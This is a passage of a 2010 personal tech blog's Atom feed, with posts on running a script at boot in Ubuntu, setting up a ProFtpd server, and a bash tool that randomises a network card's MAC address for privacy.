/&gt;&lt;br /&gt;2. Move your script-file to  &lt;span style=&quot;font-weight: bold;&quot;&gt;/etc/init.d &lt;/span&gt;directory.&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ sudo mv script-file.sh /etc/init.d&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;3. Update Init script links, by running following command&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ sudo update-rc.d script-file.sh defaults&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Remember, these steps would help you run a script on bootup, NOT AT LOGIN.&lt;br /&gt;&lt;br /&gt;When you append, your commands in &quot;&lt;span style=&quot;font-weight: bold;&quot;&gt;.bashrc&lt;/span&gt;&quot; file. In this case, the commands will be executed when that particular user is logged in.&lt;br /&gt;&lt;br /&gt;There is difference.&lt;br /&gt;&lt;br /&gt;..............Done!!!&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/7771734946719579214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/06/add-script-to-run-at-bootup-in-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7771734946719579214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7771734946719579214'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/06/add-script-to-run-at-bootup-in-ubuntu.html' title='Add script to run at bootup in Ubuntu...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-7220135531215109903</id><published>2010-05-30T18:35:00.002+05:30</published><updated>2010-05-30T18:39:05.166+05:30</updated><title type='text'>For your own security...</title><content type='html'>This was really a cool one...read it.&lt;br /&gt;&lt;br /&gt;How security is important for your safety...lolz....funny :P&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flyyoufools.com/for-your-own-security&quot;&gt;&lt;img alt=&quot;indian comics, webcomic, free comics, online indian comics, jokes&quot; src=&quot;http://www.flyyoufools.com/wp-content/2008/06/113-software-security.gif&quot; border=0 /&gt;&lt;/a&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/7220135531215109903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/05/for-your-own-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7220135531215109903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7220135531215109903'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/05/for-your-own-security.html' title='For your own security...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-4015339061637873049</id><published>2010-05-20T13:29:00.002+05:30</published><updated>2010-05-20T14:06:35.584+05:30</updated><title type='text'>Setup fpt server(ProFtpd) on Ubuntu box...</title><content type='html'>The steps as follows:&lt;br /&gt;1. Install ProFtpd server&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ sudo apt-get install proftpd&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;2. For security reasons, the ftp user shouldn&#39;t have direct access to the system. So, we associate &quot;/bin/false&quot; shell with the newly created user. For that, append &quot;/bin/false&quot; to &lt;span style=&quot;font-weight: bold;&quot;&gt;/etc/shells&lt;/span&gt; file.&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ sudo echo &quot;/bin/false&quot; &gt;&gt; /etc/shells&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;3. Create ftp user, pointing user&#39;s shell to /bin/false.&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ sudo useradd &amp;lt;ftp-username&amp;gt; -d &amp;lt;home-dir-path-ftp-user&amp;gt; -s /bin/false&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;4. Set the password for created user.&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ sudo passwd &amp;lt;ftp-username&amp;gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;5. Configure the &lt;span style=&quot;font-weight: bold;&quot;&gt;proftpd.conf&lt;/span&gt; in accordance with your needs.&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ sudo nano /etc/proftpd/proftpd.conf&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/4015339061637873049/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/05/setup-fpt-serverproftpd-on-ubuntu-box.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/4015339061637873049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/4015339061637873049'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/05/setup-fpt-serverproftpd-on-ubuntu-box.html' title='Setup fpt server(ProFtpd) on Ubuntu box...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-6844265709372940428</id><published>2010-05-07T09:43:00.006+05:30</published><updated>2010-06-11T18:05:21.936+05:30</updated><title type='text'>[TOOL] TMAC for Linux...</title><content type='html'>TMAC, a simple bash program, written for the purpose of changing the MAC address of Network Interface Card (NIC) in Linux based system, provided it has Bash environment.&lt;br /&gt;&lt;br /&gt;This tool attempts to change the MAC address of Network Inteface Cards (NIC) in Linux systems by choosing a randomly-generated MAC address. The chosen MAC address is randomised in following way:&lt;br /&gt;-It chooses it&#39;s first 3 octets needed for MAC address from a list of MAC vendors list provided from IEEE, which can be found &lt;a href=&quot;http://standards.ieee.org/regauth/oui/oui.txt&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;-The rest 3 octets are a set of complete randomly-generated hexadecimal numbers obtained with help of Psuedo-random-generator system variable.&lt;br /&gt;&lt;br /&gt;All it needs is a Linux machine with BASH shell environment.&lt;br /&gt;&lt;br /&gt;Looking at the subject, many people would have already been saying that &quot;What the heck? Why do I need a MAC-address-changer for my linux? When I already have &#39;one-command-solution&#39; for that. Its so simple...&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; font-style: italic;&quot;&gt;user@localhost:~$ sudo ifconfig wlan0 hw ether xx:xx:xx:xx:xx:xx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;See? It&#39;s done.&quot;&lt;br /&gt;&lt;br /&gt;But, isn&#39;t that a pain, when you have to do the same thing everytime you login to your system?&lt;br /&gt;The response I would expect is &quot;What crap? All I need to do is - just put that command in &lt;span style=&quot;font-weight: bold;&quot;&gt;$HOME/.bashrc&lt;/span&gt;. It&#39;s simple as that.&quot;&lt;br /&gt;&lt;br /&gt;Now, what if, you want to randomize it each and everytime you login to your system?&lt;br /&gt;&quot;mmm... [:-/] &quot;&lt;br /&gt;And, what if, you are setting the MAC address of your NIC with some random hex-chars, whose vendor still to be born on the earth?&lt;br /&gt;&quot;mmm... [:-/] &quot;&lt;br /&gt;&lt;br /&gt;So, the purpose of making this tool, was to generate a random-MAC address from a KNOWN MAC-vendors list and assigning the same to specified device.&lt;br /&gt;That is why, effectively, it needs 2 files to work. One, a text file containing a list of MAC-vendors, used &quot;AS IS&quot; from IEEE&#39;s website and other one, being the bash program.&lt;br /&gt;&lt;br /&gt;Also, there can be a question like &quot;Why, on the earth, do I ever need to change my MAC address?&quot;&lt;br /&gt;I would ask those ones with this question in mind to go through &lt;a href=&quot;http://www.theregister.co.uk/2010/04/22/google_streetview_logs_wlans/&quot;&gt;this link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Well Google, anyway knows a lot about you and me.&lt;br /&gt;&lt;br /&gt;Moreover, if you want to make this tool run each time you login and randomize your MAC address. I would suggest you, appending the command &#39;&lt;span style=&quot;font-weight: bold;&quot;&gt;bash $PWD/tmac.sh -R &lt;device&gt;&lt;/device&gt;&lt;/span&gt;&#39; in the &#39;&lt;span style=&quot;font-weight: bold;&quot;&gt;$HOME/.bashrc&lt;/span&gt;&#39; file.&lt;br /&gt;&lt;br /&gt;Well, for Windows users, as they already must be knowing about TMAC, Technitium MAC Address Changer. &lt;a href=&quot;http://www.technitium.com/tmac/index.html&quot;&gt;More info&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Download &lt;a href=&quot;http://sourceforge.net/projects/tmac/files/tmac-v1.0-beta.tar.gz/download&quot;&gt;tmac-v1.0.tar.gz&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/6844265709372940428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/05/tool-tmac-for-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6844265709372940428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6844265709372940428'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/05/tool-tmac-for-linux.html' title='[TOOL] TMAC for Linux...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>